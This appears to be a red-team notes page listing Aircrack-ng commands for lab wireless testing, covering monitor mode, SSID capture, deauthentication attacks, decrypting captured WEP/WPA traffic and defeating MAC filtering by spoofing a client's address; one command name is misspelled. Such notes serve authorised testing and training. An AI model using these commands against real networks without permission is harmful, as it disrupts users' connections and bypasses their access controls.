> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/wireless/aircrack.md).

# Aircrack

Aircrack is a suite of wireless testing tools.

```
airmon-ng check kill
airmon-ng start wlan0

# Dump SSIDs in targeted bands or channels
airodump-ng wlan0mon -w HTB --band abg # Doesn't seem to work great.
airodump-ng wlan0mon -w HTB -c 11

# Discover client probes for ghost SSIDs
sudo airgraph-ng -i HTB-01.csv -g CPG -o HTB_CPG.png

# Deauth attacks
sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

# Decrypt wireless traffic
WEP -> airdecap-ng -w Password123 protected.cap
WPA -> airedecap-ng -p Password123 wpa.cap -e "MyESSIDAP"
```

SSIDs may choose to hide their names or employ MAC filtering, both of which may commonly be bypassed through MAC changing and deauth attacks.

```
# Deauth
sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

# Change MAC to deauthed client
sudo macchanger wlan0 -m 3E:48:72:B7:62:2A
```